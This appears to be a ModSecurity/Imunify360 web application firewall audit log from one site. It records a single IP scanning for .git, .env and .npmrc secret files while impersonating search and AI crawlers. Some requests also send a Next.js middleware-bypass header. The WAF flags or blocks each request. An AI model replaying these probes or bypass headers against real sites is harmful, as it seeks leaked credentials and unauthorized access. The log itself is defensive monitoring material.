HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--35e1b456-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/HEAD"] [unique_id "aqZoN2M7dE9KgIIOpQhzzAAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290551308651 562569 (- - -)
Stopwatch2: 1789290551308651 562569; combined=29843, p1=132, p2=29667, p3=0, p4=0, p5=43, sr=60, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35e1b456-Z--
--51311364-A--
[13/Sep/2026:12:09:11.973855 +0300] aqZoN0wu1RSkptiiNIX4AgAAAJg 34.73.246.242 37048 127.0.0.1 7081
--51311364-B--
POST /graphql HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
Origin: https://antarktysvodka.com
Referer: https://antarktysvodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--51311364-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--51311364-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290551699075 274868 (- - -)
Stopwatch2: 1789290551699075 274868; combined=5393, p1=231, p2=4843, p3=0, p4=0, p5=319, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--51311364-Z--
--0b662528-A--
[13/Sep/2026:12:09:12.128511 +0300] aqZoNzTJ6xTvcJoem7f6XgAAAFE 34.73.246.242 37092 127.0.0.1 7081
--0b662528-B--
GET /.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0b662528-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0b662528-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoNzTJ6xTvcJoem7f6XgAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290551924764 203836 (- - -)
Stopwatch2: 1789290551924764 203836; combined=4671, p1=211, p2=4395, p3=0, p4=0, p5=64, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b662528-Z--
--71905234-A--
[13/Sep/2026:12:09:12.221388 +0300] aqZoODTJ6xTvcJoem7f6YwAAAEk 34.73.246.242 37136 127.0.0.1 7081
--71905234-B--
GET /.env.local HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--71905234-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--71905234-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoODTJ6xTvcJoem7f6YwAAAEk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoODTJ6xTvcJoem7f6YwAAAEk"]
Action: Intercepted (phase 2)
Stopwatch: 1789290552159348 62099 (- - -)
Stopwatch2: 1789290552159348 62099; combined=60524, p1=387, p2=59791, p3=0, p4=0, p5=346, sr=206, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--71905234-Z--
--62f66569-A--
[13/Sep/2026:12:09:12.275951 +0300] aqZoODTJ6xTvcJoem7f6YAAAAEY 34.73.246.242 37116 127.0.0.1 7081
--62f66569-B--
POST / HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2sx8kpzhjqp7fn
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--62f66569-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--62f66569-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552021803 254234 (- - -)
Stopwatch2: 1789290552021803 254234; combined=5167, p1=191, p2=4615, p3=0, p4=0, p5=361, sr=72, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62f66569-Z--
--f265893a-A--
[13/Sep/2026:12:09:12.291437 +0300] aqZoODTJ6xTvcJoem7f6YgAAAE8 34.73.246.242 37126 127.0.0.1 7081
--f265893a-B--
POST /api/graphql HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Origin: https://antarktysvodka.com
Referer: https://antarktysvodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--f265893a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f265893a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552130042 161499 (- - -)
Stopwatch2: 1789290552130042 161499; combined=6403, p1=245, p2=5817, p3=0, p4=0, p5=340, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f265893a-Z--
--6c218410-A--
[13/Sep/2026:12:09:12.389910 +0300] aqZoOGM7dE9KgIIOpQhz2gAAAM0 34.73.246.242 37174 127.0.0.1 7081
--6c218410-B--
GET /api/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6c218410-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c218410-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/api/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz2gAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552316314 73657 (- - -)
Stopwatch2: 1789290552316314 73657; combined=5209, p1=320, p2=4835, p3=0, p4=0, p5=54, sr=147, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c218410-Z--
--2054ef13-A--
[13/Sep/2026:12:09:12.569034 +0300] aqZoOGM7dE9KgIIOpQhz2wAAAMI 34.73.246.242 37184 127.0.0.1 7081
--2054ef13-B--
GET /admin/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2054ef13-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2054ef13-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/admin/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz2wAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552399759 169338 (- - -)
Stopwatch2: 1789290552399759 169338; combined=4692, p1=227, p2=4370, p3=0, p4=0, p5=95, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2054ef13-Z--
--89527f65-A--
[13/Sep/2026:12:09:12.630696 +0300] aqZoOCsVWymXUono-eRUuAAAAAw 34.73.246.242 37196 127.0.0.1 7081
--89527f65-B--
POST /v1/graphql HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Origin: https://antarktysvodka.com
Referer: https://antarktysvodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--89527f65-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--89527f65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552423916 206870 (- - -)
Stopwatch2: 1789290552423916 206870; combined=6165, p1=313, p2=5515, p3=0, p4=0, p5=336, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--89527f65-Z--
--b9ab2a2c-A--
[13/Sep/2026:12:09:12.674839 +0300] aqZoOGM7dE9KgIIOpQhz3AAAAMQ 34.73.246.242 37212 127.0.0.1 7081
--b9ab2a2c-B--
GET /backend/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b9ab2a2c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b9ab2a2c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/backend/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz3AAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552437970 236942 (- - -)
Stopwatch2: 1789290552437970 236942; combined=4341, p1=218, p2=4068, p3=0, p4=0, p5=54, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b9ab2a2c-Z--
--d276c238-A--
[13/Sep/2026:12:09:12.764989 +0300] aqZoOGM7dE9KgIIOpQhz3gAAAMk 34.73.246.242 37224 127.0.0.1 7081
--d276c238-B--
GET /config/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d276c238-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d276c238-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/config/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz3gAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552484256 280812 (- - -)
Stopwatch2: 1789290552484256 280812; combined=4739, p1=253, p2=4428, p3=0, p4=0, p5=58, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d276c238-Z--
--57343e60-A--
[13/Sep/2026:12:09:13.132255 +0300] aqZoOWM7dE9KgIIOpQhz5QAAANI 34.73.246.242 37354 127.0.0.1 7081
--57343e60-B--
GET /.github/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--57343e60-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--57343e60-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.github/.env"] [unique_id "aqZoOWM7dE9KgIIOpQhz5QAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290553066076 66241 (- - -)
Stopwatch2: 1789290553066076 66241; combined=4993, p1=222, p2=4720, p3=0, p4=0, p5=51, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--57343e60-Z--
--fb9f1450-A--
[13/Sep/2026:12:09:13.265807 +0300] aqZoOUwu1RSkptiiNIX4BQAAAJQ 34.73.246.242 37382 127.0.0.1 7081
--fb9f1450-B--
GET /.npmrc HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--fb9f1450-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fb9f1450-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
